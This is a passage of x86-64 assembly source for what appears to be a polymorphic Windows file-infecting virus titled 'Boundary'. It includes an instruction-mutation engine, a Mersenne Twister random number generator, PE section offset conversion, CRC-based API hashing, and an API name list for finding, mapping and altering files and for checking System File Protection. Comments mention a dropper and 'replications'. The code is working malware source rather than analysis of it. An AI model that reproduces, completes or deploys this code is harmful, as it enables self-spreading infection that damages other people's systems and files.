;----------------------------------------------------------------------------- ;all clear bits become known ;----------------------------------------------------------------------------- poly_unknown: and qword [rbx * 8 + rsi + unknown], rdx jmp short poly_known poly_xor: cmp al, OP_XOR jne short poly_cmp xor dword [rbx * 4 + rsi + vals], edx ;----------------------------------------------------------------------------- ;disable RSP undo when in random mode ;----------------------------------------------------------------------------- jrcxz poly_known cmp bl, REG_ESP jne short poly_known xor dword [rsi + esp_delta], edx poly_known: xor al, al jmp short poly_setcarry poly_cmp: ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;if top bit is known and different, carry can be guessed ;----------------------------------------------------------------------------- mov rcx, qword [rbx * 8 + rsi + unknown] jrcxz poly_cmpset test ecx, ecx js short poly_ret xor ebp, edx jns short poly_ret xor ebp, edx poly_cmpset: cmp ebp, edx setb al poly_setcarry: mov ah, 1 poly_ret: xchg ah, al mov word [rsi + known_carry], ax pop rbp pop rcx pop rax ret ;poly endp ;----------------------------------------------------------------------------- ;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura ;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence ;asm port and size optimise by rgb in 2002 ;----------------------------------------------------------------------------- randinit: ;eax = seed, ecx = 0, rdi -> RNG cache push rax push rcx push rdx push rdi push rdi or eax, 1 mov ecx, statelen init_loop: stosd mov edx, 69069 mul edx ;Knuth: x_new = x_old * 69069 loop init_loop inc ecx ;force reload xchg ecx, eax lea rdi, qword [RIP + randvars - $ - 7] stosd pop rax stosq stosq pop rdi pop rdx pop rcx pop rax ret ;randinit endp random: push rbx push rcx push rdx push rsi push rdi call randelta randvars: db 'rgb!' ;numbers left db 'rgb!rgb!' ;next pointer db 'rgb!rgb!' ;state pointer randelta: pop rsi push rsi lodsd xchg ecx, eax lodsq xchg rsi, rax loop random_ret mov cx, statelen - period mov rsi, qword [rax] lea rbx, qword [rsi + (period * 4)] push rsi pop rdi push rsi lodsd xchg edx, eax call twist pop rbx mov cx, period - 1 push rcx push rbx call twist pop rsi push rsi inc ecx call twist xchg edx, eax pop rsi pop rcx inc ecx random_ret: lodsd mov edx, eax shr eax, tshiftU xor eax, edx mov edx, eax shl eax, tshiftS and eax, tmaskB xor eax, edx mov edx, eax shl eax, tshiftT and eax, tmaskC xor eax, edx mov edx, eax shr eax, tshiftL xor eax, edx pop rdi xchg ecx, eax stosd xchg rsi, rax stosq xchg ecx, eax btr eax, 1fh ;work with only 31-bit values pop rdi pop rsi pop rdx pop rcx pop rbx ret ;random endp twist: lodsd push rax add eax, eax ;remove highest bit add edx, edx ;test highest bit rcr eax, 2 ;merge bits and test lowest bit jnb twist_skip ;remove branch but larger using: xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx twist_skip: xor eax, dword [rbx] add rbx, 4 stosd pop rdx loop twist ret ;twist endp adjust_val: push rcx push rbp mov ecx, eax mov r11d, eax xchg dword [rbx * 4 + rsi + vals], eax xchg ebp, eax ;----------------------------------------------------------------------------- ;perform multi-pass adjustment for > 31-bit deltas ;----------------------------------------------------------------------------- adjust_part: mov al, 48h stosb cmp bl, REG_ESP je adjust_save mov edx, ebp sub edx, ecx sbb eax, eax xor edx, eax jns adjust_save shr ecx, 1 test eax, eax jne adjust_save dec eax shr eax, 1 xchg ecx, eax adjust_save: push rcx adjust_op: ;----------------------------------------------------------------------------- ;avoid unusable instructions, including XOR if register is RSP, and ADC/SBB if carry is not known ;----------------------------------------------------------------------------- call r10 and al, 38h cmp al, OP_OR je short adjust_op cmp al, OP_AND je short adjust_op cmp al, OP_CMP je short adjust_op cmp al, OP_XOR jne short check_adcsbb cmp bl, REG_ESP jmp short loop_adjust check_adcsbb: cmp al, OP_ADC je short adjust_carry cmp al, OP_SBB jne short check_adjust adjust_carry: cmp byte [rsi + known_carry], bh loop_adjust: je short adjust_op cmp bl, REG_ESP je short do_adjust check_adjust: mov edx, ecx test al, al ;cmp al, OP_ADD je short adjust_addsign cmp al, OP_ADC jne short adjust_subsign sub edx, dword [rsi + carry] adjust_addsign: cmp edx, ebp jmp adjust_signed adjust_xorsign: xor edx, ebp js adjust_op jmp do_adjust adjust_subsign: cmp al, OP_SUB je short adjust_cmpsign cmp al, OP_SBB jne short adjust_xorsign add edx, dword [rsi + carry] adjust_cmpsign: cmp ebp, edx adjust_signed: jb short adjust_op ;avoid sub overflow do_adjust: xor edx, edx test al, al ;cmp al, OP_ADD je short adjust_add cmp al, OP_ADC jne short adjust_trysub sub ecx, dword [rsi + carry] adjust_add: cmp bl, REG_ESP je short adjust_adc inc edx cmp ecx, ebp setb dh adjust_adc: sub ecx, ebp jmp short store_adjust adjust_trysub: cmp al, OP_SUB je short adjust_sub cmp al, OP_SBB jne short adjust_xor add ecx, dword [rsi + carry] adjust_sub: cmp bl, REG_ESP je short adjust_sbb inc edx cmp ecx, ebp setnbe dh adjust_sbb: neg ecx add ecx, ebp jmp short store_adjust adjust_xor: inc edx xor ecx, ebp store_adjust: mov dword [rsi + known_carry], edx add al, 0c0h add al, bl mov ah, 81h xchg al, ah stosw xchg ecx, eax stosd pop rbp mov ecx, r11d cmp ecx, ebp jne adjust_part pop rbp pop rcx ret ;adjust_val endp ;----------------------------------------------------------------------------- ;convert relative virtual address to raw file offset ;----------------------------------------------------------------------------- rvaloop: sub rsi, byte pesect_size db 3ch ;mask PUSH RSI rva2raw: ;ecx = RVA, rsi -> last section header push rsi cmp dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx jnbe rvaloop sub ecx, dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr] add ecx, dword [rsi] pop rsi ret ;rva2raw endp boundary_codeend: create_crcs: or eax, -1 create_outer: xor al, byte [ebx] push byte 8 pop rcx create_inner: add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip: loop create_inner sub cl, byte [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer stosd dec edx jne create_crcs ret ;create_crcs endp ;must be alphabetical order ;API names are not present in replications, only in dropper krnnames: db "CloseHandle" , 0 db "CreateFileMappingA" , 0 db "CreateFileW" , 0 db "ExitProcess" , 0 db "FindClose" , 0 db "FindFirstFileW" , 0 db "FindNextFileW" , 0 db "GetFullPathNameW" , 0 db "GetModuleHandleA" , 0 db "GetTickCount" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "LoadLibraryA" , 0 db "MapViewOfFile" , 0 db "SetCurrentDirectoryA", 0 db "SetCurrentDirectoryW", 0 db "SetFileAttributesW" , 0 db "SetFileTime" , 0 db "UnmapViewOfFile" , 0 db "VirtualAlloc" , 0 db "VirtualFree" , 0 ntdnames: db "RtlAddVectoredExceptionHandler" , 0 db "RtlRemoveVectoredExceptionHandler", 0 sfcnames db "SfcIsFileProtected", 0 txttitle db "Boundary", 0 txtbody db "running...", 0 |